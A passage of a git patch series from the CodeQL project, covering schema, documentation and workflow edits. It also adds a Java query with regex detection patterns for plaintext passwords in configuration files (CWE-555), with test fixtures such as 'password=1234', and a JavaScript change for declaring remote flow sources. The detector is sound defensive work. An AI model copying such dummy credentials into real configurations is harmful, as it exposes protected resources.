+ unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/TO_CHANGE/upgrade.properties b/csharp/upgrades/cfaa4e90da23a5ca3f0e914fbd5ca689ba0282d9/upgrade.properties similarity index 100% rename from csharp/upgrades/TO_CHANGE/upgrade.properties rename to csharp/upgrades/cfaa4e90da23a5ca3f0e914fbd5ca689ba0282d9/upgrade.properties From bc3f7b61fbebdbf4c3b91f2e6e360fcbecf3a09f Mon Sep 17 00:00:00 2001 From: james <james@semmle.com> Date: Fri, 11 Dec 2020 14:47:40 +0000 Subject: [PATCH 0234/1241] fix find and replace error --- docs/codeql/codeql-cli/about-ql-packs.rst | 2 +- .../setting-up-codeql-in-visual-studio-code.rst | 2 +- docs/codeql/writing-codeql-queries/creating-path-queries.rst | 2 +- docs/codeql/writing-codeql-queries/find-the-thief.rst | 2 +- docs/codeql/writing-codeql-queries/introduction-to-ql.rst | 4 ++-- .../writing-codeql-queries/metadata-for-codeql-queries.rst | 2 +- 6 files changed, 7 insertions(+), 7 deletions(-) diff --git a/docs/codeql/codeql-cli/about-ql-packs.rst b/docs/codeql/codeql-cli/about-ql-packs.rst index ed9c9319bdf..8ed639d9de7 100644 --- a/docs/codeql/codeql-cli/about-ql-packs.rst +++ b/docs/codeql/codeql-cli/about-ql-packs.rst @@ -21,7 +21,7 @@ files and directories within the pack should be logically organized. For example - Queries are organized into directories for specific categories. - Queries for specific products, libraries, and frameworks are organized into their own top-level directories. -- There is a top-level directory named ``<owner>/<ql-language-specification>`` for query library +- There is a top-level directory named ``<owner>/<language>`` for query library (``.qll``) files. Within this directory, ``.qll`` files should be organized into subdirectories for specific categories. diff --git a/docs/codeql/codeql-for-visual-studio-code/setting-up-codeql-in-visual-studio-code.rst b/docs/codeql/codeql-for-visual-studio-code/setting-up-codeql-in-visual-studio-code.rst index 054842c0dcc..cfc85fa23bd 100644 --- a/docs/codeql/codeql-for-visual-studio-code/setting-up-codeql-in-visual-studio-code.rst +++ b/docs/codeql/codeql-for-visual-studio-code/setting-up-codeql-in-visual-studio-code.rst @@ -80,7 +80,7 @@ The starter workspace is a Git repository. It contains: * The `repository of CodeQL libraries and queries <https://github.com/github/codeql>`__ for C/C++, C#, Java, JavaScript, and Python. This is included as a submodule, so it can be updated without affecting your custom queries. * The `repository of CodeQL libraries and queries <https://github.com/github/codeql-go>`__ for Go. This is also included as a submodule. -* A series of folders named ``codeql-custom-queries-<ql-language-specification>``. These are ready for you to start developing your own custom queries for each language, using the standard libraries. There are some example queries to get you started. +* A series of folders named ``codeql-custom-queries-<language>``. These are ready for you to start developing your own custom queries for each language, using the standard libraries. There are some example queries to get you started. To use the starter workspace: diff --git a/docs/codeql/writing-codeql-queries/creating-path-queries.rst b/docs/codeql/writing-codeql-queries/creating-path-queries.rst index af4a829e6a4..4d65351ec31 100644 --- a/docs/codeql/writing-codeql-queries/creating-path-queries.rst +++ b/docs/codeql/writing-codeql-queries/creating-path-queries.rst @@ -52,7 +52,7 @@ For C/C++, C#, Java, and JavaScript you should use the following template:: * ... */ - import <ql-language-specification> + import <language> import DataFlow::PathGraph ... diff --git a/docs/codeql/writing-codeql-queries/find-the-thief.rst b/docs/codeql/writing-codeql-queries/find-the-thief.rst index d49406f90ca..131423b8058 100644 --- a/docs/codeql/writing-codeql-queries/find-the-thief.rst +++ b/docs/codeql/writing-codeql-queries/find-the-thief.rst @@ -50,7 +50,7 @@ There is too much information to search through by hand, so you decide to use yo #. Open the `query console on LGTM.com <https://lgtm.com/query>`__ to get started. #. Select a language and a demo project. For this tutorial, any language and project will do. -#. Delete the default code ``import <ql-language-specification> select "hello world"``. +#. Delete the default code ``import <language> select "hello world"``. QL libraries ------------ diff --git a/docs/codeql/writing-codeql-queries/introduction-to-ql.rst b/docs/codeql/writing-codeql-queries/introduction-to-ql.rst index 8bf5e9b2d91..e730610ed2c 100644 --- a/docs/codeql/writing-codeql-queries/introduction-to-ql.rst +++ b/docs/codeql/writing-codeql-queries/introduction-to-ql.rst @@ -23,7 +23,7 @@ Once you have selected a language, the query console is populated with the query .. code-block:: ql - import <ql-language-specification> + import <language> select "hello world" @@ -124,7 +124,7 @@ The following example queries *do* use these databases and give you an idea of h Queries using the CodeQL libraries can find errors and uncover variants of important security vulnerabilities in codebases. Visit `GitHub Security Lab <https://securitylab.github.com/>`__ to read about examples of vulnerabilities that we have recently found in open source projects. -To import the CodeQL library for a specific programming language, type ``import <ql-language-specification>`` at the start of the query. +To import the CodeQL library for a specific programming language, type ``import <language>`` at the start of the query. .. code-block:: ql diff --git a/docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst b/docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst index 60a0dde85ad..0e1c8b85a81 100644 --- a/docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst +++ b/docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst @@ -28,7 +28,7 @@ The following properties are supported by all query files: +=======================+===========================+=======================================================================================================================================================================================================================================================================================================================================================================+ | ``@description`` | ``<text>`` | A sentence or short paragraph to describe the purpose of the query and *why* the result is useful or important. The description is written in plain text, and uses single quotes (``'``) to enclose code elements. | +-----------------------+---------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``@id`` | ``<text>`` | A sequence of words composed of lowercase letters or digits, delimited by ``/`` or ``-``, identifying and classifying the query. Each query must have a **unique** ID. To ensure this, it may be helpful to use a fixed structure for each ID. For example, the standard LGTM queries have the following format: ``<ql-language-specification>/<brief-description>``. | +| ``@id`` | ``<text>`` | A sequence of words composed of lowercase letters or digits, delimited by ``/`` or ``-``, identifying and classifying the query. Each query must have a **unique** ID. To ensure this, it may be helpful to use a fixed structure for each ID. For example, the standard LGTM queries have the following format: ``<language>/<brief-description>``. | +-----------------------+---------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | ``@kind`` | | ``problem`` | Identifies the query is an alert (``@kind problem``) or a path (``@kind path-problem``). For more information on these query types, see ":doc:`About CodeQL queries <about-codeql-queries>`." | | | | ``path-problem`` | | From b9c8818da5031b6c6db09d895e9a3647d8bc8e84 Mon Sep 17 00:00:00 2001 From: james <james@semmle.com> Date: Fri, 11 Dec 2020 15:49:12 +0000 Subject: [PATCH 0235/1241] update landing page --- docs/codeql/index.html | 209 +++++++++++++++++++++++++++-------------- 1 file changed, 137 insertions(+), 72 deletions(-) diff --git a/docs/codeql/index.html b/docs/codeql/index.html index 3a4a3a7db29..392dc25c666 100644 --- a/docs/codeql/index.html +++ b/docs/codeql/index.html @@ -1,10 +1,12 @@ <!DOCTYPE html> <html lang="en"> + <head> <title>CodeQL documentation +
    @@ -20,7 +22,8 @@
    - +
    -
    - -
    -

    - CodeQL overview -

    -
    -
    -
    - Learn more about how CodeQL works, the languages and libraries supported by CodeQL analysis, and the tools you can use to run CodeQL on open source projects. -
    -
    -
    - -
    - GitHub provides the CodeQL command-line interface and CodeQL for Visual Studio Code for performing - CodeQL analysis on open source codebases. -
    -
    -
    - -
    - You can use code scanning with CodeQL to analyze the code in a GitHub repository to find security - vulnerabilities and coding errors. Any problems identified by the analysis are shown in GitHub -
    -
    -
    -
    -
    -
    - -

    - CodeQL guides +
    + +
    +

    + BACKGROUND INFORMATION

    - -
    -
    - Learn more about CodeQL queries in Writing CodeQL queries and find information about writing queries to analyze specific languages in the CodeQL language guides. -
    -
    -
    -
    -

    - CodeQL reference documentation -

    +
    +
    +
    + +
    About CodeQL
    +
    +
    Learn more about how CodeQL works...
    +
    +
    + +
    Supported languages and frameworks
    +
    +
    View the languages, libraries, and frameworks supported in the + latest version of CodeQL...
    +
    +
    + +
    Academic publications
    +
    +
    Read academic articles published by the team behind CodeQL... +
    -
    - Finds details of the predicates, modules, and classes included with CodeQL in the CodeQL standard libraries and explore the documentation for the CodeQL queries in the CodeQL query help.
    -
    - -
    -

    - QL language reference -

    +
    +
    +

    + CODEQL TOOLS +

    +
    +
    +
    + +
    CodeQL CLI
    +
    +
    The CodeQL command-line interface (CLI) is used + to create + databases for security research....
    - -
    - Learn all about QL, the powerful query language that underlies the code scanning tool CodeQL. +
    + +
    CodeQL for Visual Studio Code
    +
    +
    CodeQL for Visual Studio Code adds rich language + support for CodeQL...
    +
    +
    + +
    Code scanning with CodeQL
    +
    +
    Use code scanning with CodeQL to analyze the code in a GitHub + repository to find + security + vulnerabilities...
    +
    +
    + + + + +
    +
    + + + +
    + +
    +
    +

    + CODEQL GUIDES +

    +
    +
    +
    + +
    Writing CodeQL queries
    +
    +
    Get to know more about queries and learn some key + query-writing skills by solving puzzles.....
    +
    +
    + +
    CodeQL language guides
    +
    +
    Experiment and learn how to write effective and efficient + queries for CodeQL databases generated from the languages supported in CodeQL + analysis...
    +
    +
    +
    +
    +
    +

    + CODEQL REFERENCE DOCS +

    +
    +
    +
    +
    + +
    QL language reference
    +
    +
    Learn all about QL, the powerful query language that + underlies the code scanning tool CodeQL... +
    +
    + +
    CodeQL standard libraries
    +
    +
    Find details of the predicates, modules, and classes + included with CodeQL...
    +
    +
    + +
    CodeQL query help
    +
    +
    View the query help for the queries included in the code + scanning query suites...
    +
    + +
    +
    +
    - + + \ No newline at end of file From a5c08023796e195c6dc1dbb5ad62b2dfba17693a Mon Sep 17 00:00:00 2001 From: james Date: Fri, 11 Dec 2020 17:29:22 +0000 Subject: [PATCH 0236/1241] address review comments --- .github/workflows/generate-query-help-docs.yml | 15 ++------------- 1 file changed, 2 insertions(+), 13 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 962497eab68..031bf97e728 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -6,10 +6,6 @@ on: description: description: A description of the purpose of this job. For human consumption. required: false - ref: - description: The branch in github/codeql to checkout when generating query help. - required: false - default: 'lgtm.com' push: branches: - 'lgtm.com' @@ -17,19 +13,12 @@ on: paths: - '.github/workflows/generate-query-help-docs.yml' - 'docs/codeql/query-help/**' - + jobs: build: runs-on: ubuntu-latest steps: - - if: github.event.inputs.ref - name: Clone github/codeql (user defined ref) - uses: actions/checkout@v2 - with: - path: codeql - ref: ${{ github.event.inputs.ref }} - - if: github.event.inputs.ref == '' - name: Clone github/codeql (default ref) + - name: Clone github/codeql uses: actions/checkout@v2 with: path: codeql From 7ba237120b3dd10694a9741a739873a3d0639247 Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Sat, 12 Dec 2020 05:06:38 +0000 Subject: [PATCH 0237/1241] Password in Java EE configuration files --- .../CWE-555/PasswordInConfigurationFile.qhelp | 40 +++++++++++++++++++ .../CWE-555/PasswordInConfigurationFile.ql | 37 +++++++++++++++++ .../Security/CWE/CWE-555/context.xml | 17 ++++++++ .../PasswordInConfigurationFile.expected | 2 + .../CWE-555/PasswordInConfigurationFile.qlref | 1 + .../security/CWE-555/applicationContext.xml | 39 ++++++++++++++++++ .../query-tests/security/CWE-555/context.xml | 31 ++++++++++++++ 7 files changed, 167 insertions(+) create mode 100644 java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.qhelp create mode 100644 java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql create mode 100644 java/ql/src/experimental/Security/CWE/CWE-555/context.xml create mode 100644 java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected create mode 100644 java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.qlref create mode 100644 java/ql/test/experimental/query-tests/security/CWE-555/applicationContext.xml create mode 100644 java/ql/test/experimental/query-tests/security/CWE-555/context.xml diff --git a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.qhelp b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.qhelp new file mode 100644 index 00000000000..0a640533b09 --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.qhelp @@ -0,0 +1,40 @@ + + + +

    + Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources. Therefore it is a common attack vector. +

    +
    + + +

    + Passwords stored in configuration files should be encrypted. Utilities provided by application servers like keystore and password vault can be used to encrypt and manage passwords. +

    +
    + + +

    + In the first example, the password of a datasource configuration is stored in cleartext in the context.xml file of a Java EE application. +

    + +

    + In the second example, the password of a datasource configuration is encrypted and managed by a password vault. +

    + +
    + + +
  • + CWE: + CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File +
  • +
  • + RedHat Security Guide: + STORE AND RETRIEVE ENCRYPTED SENSITIVE STRINGS IN THE JAVA KEYSTORE +
  • +
  • + SonarSource: + Hard-coded credentials are security-sensitive +
  • +
    +
    diff --git a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql new file mode 100644 index 00000000000..4a25de30fdc --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql @@ -0,0 +1,37 @@ +/** + * @name Password in configuration file + * @description Finds passwords in configuration files. + * @kind problem + * @id java/password-in-configuration + * @tags security + * external/cwe/cwe-555 + * external/cwe/cwe-256 + * external/cwe/cwe-260 + */ + +import java + +predicate isNotPassword(XMLAttribute a) { + a.getValue() = "" // Empty string + or + a.getValue().regexpMatch("\\$\\{.*\\}") // Variable placeholder ${password} + or + a.getValue().charAt(a.getValue().length() - 1) = "=" // A basic check of encrypted passwords ending with padding characters, which could be improved to be more accurate. +} + +from XMLAttribute a +where + a.getName().toLowerCase() in ["password", "pwd"] and not isNotPassword(a) // Attribute name "password" or "pwd" + or + exists( + XMLAttribute b // name/value pair like + | + b.getElement() = a.getElement() and + a.getName().toLowerCase() = "name" and + a.getValue().toLowerCase() in ["password", "pwd"] and + b.getName().toLowerCase() = "value" and + not isNotPassword(b) + ) + or + a.getValue().regexpMatch("(?is).*(pwd|password)\\s*=(?!\\s*;).*") // Attribute value matches password pattern +select a, "Avoid plaintext passwords in configuration files." diff --git a/java/ql/src/experimental/Security/CWE/CWE-555/context.xml b/java/ql/src/experimental/Security/CWE/CWE-555/context.xml new file mode 100644 index 00000000000..a627ba2d43d --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-555/context.xml @@ -0,0 +1,17 @@ + + + + + + + + + \ No newline at end of file diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected b/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected new file mode 100644 index 00000000000..55f6df76803 --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected @@ -0,0 +1,2 @@ +| applicationContext.xml:11:6:11:50 | name=password | Avoid plaintext passwords in configuration files. | +| context.xml:4:5:8:63 | password=1234 | Avoid plaintext passwords in configuration files. | diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.qlref b/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.qlref new file mode 100644 index 00000000000..b996de13723 --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.qlref @@ -0,0 +1 @@ +experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/applicationContext.xml b/java/ql/test/experimental/query-tests/security/CWE-555/applicationContext.xml new file mode 100644 index 00000000000..8c6054ecc6d --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-555/applicationContext.xml @@ -0,0 +1,39 @@ + + + + + + + + + + + + + + + + + + + + + com.example.entity.Users + + + + + + hibernate.dialect=org.hibernate.dialect.MySQLDialect + hibernate.hbm2ddl.auto=update + hibernate.show_sql=true + hibernate.cache.use_second_level_cache=false + hibernate.cache.provider_class=org.hibernate.cache.internal.NoCacheProvider + hibernate.generate_statistics=true + + + + diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/context.xml b/java/ql/test/experimental/query-tests/security/CWE-555/context.xml new file mode 100644 index 00000000000..1b3f987ce2d --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-555/context.xml @@ -0,0 +1,31 @@ + + + + + + + + + + + + + + + From 9f8508fdc73b4b44badb1ddb790d154b382b03ca Mon Sep 17 00:00:00 2001 From: Max Schaefer Date: Wed, 9 Dec 2020 11:36:28 +0000 Subject: [PATCH 0238/1241] JavaScript: Allow specifying additional remote flow sources through JSON. --- .../security/dataflow/RemoteFlowSources.qll | 95 +++++++++++++++++++ .../RemoteFlowSources.expected | 2 + .../RemoteFlowSources/RemoteFlowSources.ql | 25 +++++ ...codeql-javascript-remote-flow-sources.json | 10 ++ .../library-tests/RemoteFlowSources/tst.js | 21 ++++ 5 files changed, 153 insertions(+) create mode 100644 javascript/ql/test/library-tests/RemoteFlowSources/RemoteFlowSources.expected create mode 100644 javascript/ql/test/library-tests/RemoteFlowSources/RemoteFlowSources.ql create mode 100644 javascript/ql/test/library-tests/RemoteFlowSources/codeql-javascript-remote-flow-sources.json create mode 100644 javascript/ql/test/library-tests/RemoteFlowSources/tst.js diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/RemoteFlowSources.qll b/javascript/ql/src/semmle/javascript/security/dataflow/RemoteFlowSources.qll index 17fdbe22889..de5ac14d9be 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/RemoteFlowSources.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/RemoteFlowSources.qll @@ -16,3 +16,98 @@ abstract class RemoteFlowSource extends DataFlow::Node { */ predicate isUserControlledObject() { none() } } + +/** + * A specification of a remote flow source in a JSON file included in the database. + * + * The JSON file must be named `codeql-javascript-remote-flow-sources.json` and consist of a JSON + * object. The object's keys are source types (in the sense of `RemoteFlowSource.getSourceType()`), + * each mapping to a list of strings. Each string in that list must be of the form `window.f.props` + * where `f` is the name of a global variable, and `props` is a possibly empty sequence of property + * names separated by dots. It declares any value stored in the given property sequece of `f` to be + * a remote flow source of the type specified by the key. + * + * For example, consider the following specification: + * + * ```json + * { + * "user input": [ "window.user.name", "window.user.address", "window.dob" ] + * } + * ``` + * + * It declares that the contents of global variable `dob`, as well as the contents of properties + * `name` and `address` of global variable `user` should be considered as remote flow sources with + * source type "user input". + */ +private class RemoteFlowSourceAccessPath extends JSONString { + string sourceType; + + RemoteFlowSourceAccessPath() { + exists(JSONObject specs | + specs.isTopLevel() and + this.getFile().getBaseName() = "codeql-javascript-remote-flow-sources.json" and + this = specs.getPropValue(sourceType).(JSONArray).getElementValue(_) and + this.getValue().regexpMatch("window(\\.\\w+)+") + ) + } + + /** Gets the source type of this remote flow source. */ + string getSourceType() { result = sourceType } + + /** Gets the `i`th component of the access path specifying this remote flow source. */ + string getComponent(int i) { + exists(string raw | raw = this.getValue().splitAt(".", i + 1) | + i = 0 and + result = "ExternalRemoteFlowSourceSpec " + raw + or + i > 0 and + result = API::EdgeLabel::member(raw) + ) + } + + /** Gets the index of the last component of this access path. */ + int getMaxComponentIndex() { result = max(int i | exists(getComponent(i))) } + + /** + * Gets the API node to which the prefix of the access path up to and including `i` resolves. + * + * As a special base case, resolving up to -1 gives the root API node. + */ + private API::Node resolveUpTo(int i) { + i = -1 and + result = API::root() + or + result = resolveUpTo(i - 1).getASuccessor(getComponent(i)) + } + + /** Gets the API node to which this access path resolves. */ + API::Use resolve() { result = resolveUpTo(getMaxComponentIndex()) } +} + +/** + * The global variable referenced by a `RemoteFlowSourceAccessPath`, declared as an API + * entry point. + */ +private class ExternalRemoteFlowSourceSpecEntryPoint extends API::EntryPoint { + string name; + + ExternalRemoteFlowSourceSpecEntryPoint() { + this = any(RemoteFlowSourceAccessPath s).getComponent(0) and + this = "ExternalRemoteFlowSourceSpec " + name + } + + override DataFlow::SourceNode getAUse() { result = DataFlow::globalVarRef(name) } + + override DataFlow::Node getARhs() { none() } +} + +/** + * A remote flow source induced by a `RemoteFlowSourceAccessPath`. + */ +private class ExternalRemoteFlowSource extends RemoteFlowSource { + RemoteFlowSourceAccessPath ap; + + ExternalRemoteFlowSource() { this = ap.resolve().getAnImmediateUse() } + + override string getSourceType() { result = ap.getSourceType() } +} diff --git a/javascript/ql/test/library-tests/RemoteFlowSources/RemoteFlowSources.expected b/javascript/ql/test/library-tests/RemoteFlowSources/RemoteFlowSources.expected new file mode 100644 index 00000000000..d6af14e1823 --- /dev/null +++ b/javascript/ql/test/library-tests/RemoteFlowSources/RemoteFlowSources.expected @@ -0,0 +1,2 @@ +missing +spurious diff --git a/javascript/ql/test/library-tests/RemoteFlowSources/RemoteFlowSources.ql b/javascript/ql/test/library-tests/RemoteFlowSources/RemoteFlowSources.ql new file mode 100644 index 00000000000..3e04d8e349b --- /dev/null +++ b/javascript/ql/test/library-tests/RemoteFlowSources/RemoteFlowSources.ql @@ -0,0 +1,25 @@ +import javascript + +predicate remoteFlowSourceSpec(Comment c, string path, int line, string sourceType) { + c.getLocation().hasLocationInfo(path, line, _, _, _) and + sourceType = c.getText().regexpCapture("\\s*RemoteFlowSource\\s*:\\s*(.+)", 1) +} + +predicate remoteFlowSource(RemoteFlowSource rfs, string path, int line, string sourceType) { + rfs.hasLocationInfo(path, line, _, _, _) and + sourceType = rfs.getSourceType() +} + +query predicate missing(Comment c, string sourceType) { + exists(string path, int line | + remoteFlowSourceSpec(c, path, line, sourceType) and + not remoteFlowSource(_, path, line, sourceType) + ) +} + +query predicate spurious(RemoteFlowSource rfs, string sourceType) { + exists(string path, int line | + not remoteFlowSourceSpec(_, path, line, sourceType) and + remoteFlowSource(rfs, path, line, sourceType) + ) +} diff --git a/javascript/ql/test/library-tests/RemoteFlowSources/codeql-javascript-remote-flow-sources.json b/javascript/ql/test/library-tests/RemoteFlowSources/codeql-javascript-remote-flow-sources.json new file mode 100644 index 00000000000..9b4eb827eff --- /dev/null +++ b/javascript/ql/test/library-tests/RemoteFlowSources/codeql-javascript-remote-flow-sources.json @@ -0,0 +1,10 @@ +{ + "user input": [ + "window.user.name", + "window.user.address", + "window.dob" + ], + "uncontrolled path": [ + "window.upload" + ] +} \ No newline at end of file diff --git a/javascript/ql/test/library-tests/RemoteFlowSources/tst.js b/javascript/ql/test/library-tests/RemoteFlowSources/tst.js new file mode 100644 index 00000000000..88fed96eac4 --- /dev/null +++ b/javascript/ql/test/library-tests/RemoteFlowSources/tst.js @@ -0,0 +1,21 @@ +window.user.name; // RemoteFlowSource: user input +window.user.address; // RemoteFlowSource: user input +window.dob; // RemoteFlowSource: user input +window.upload; // RemoteFlowSource: uncontrolled path + +this.user.name; // RemoteFlowSource: user input +this.user.address; // RemoteFlowSource: user input +this.dob; // RemoteFlowSource: user input +this.upload; // RemoteFlowSource: uncontrolled path + +user.name; // RemoteFlowSource: user input +user.address; // RemoteFlowSource: user input +dob; // RemoteFlowSource: user input +upload; // RemoteFlowSource: uncontrolled path + +(function (global) { + global.user.name; // RemoteFlowSource: user input + global.user.address; // RemoteFlowSource: user input + global.dob; // RemoteFlowSource: user input + global.upload; // RemoteFlowSource: uncontrolled path +})(this); From be35e85639985b5518c8600d388a1beb39ced2fb Mon Sep 17 00:00:00 2001 From: Max Schaefer Date: Wed, 9 Dec 2020 11:41:24 +0000 Subject: [PATCH 0239/1241] JavaScript: Add change note. --- javascript/change-notes/2020-12-09-external-flow-sources.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 javascript/change-notes/2020-12-09-external-flow-sources.md diff 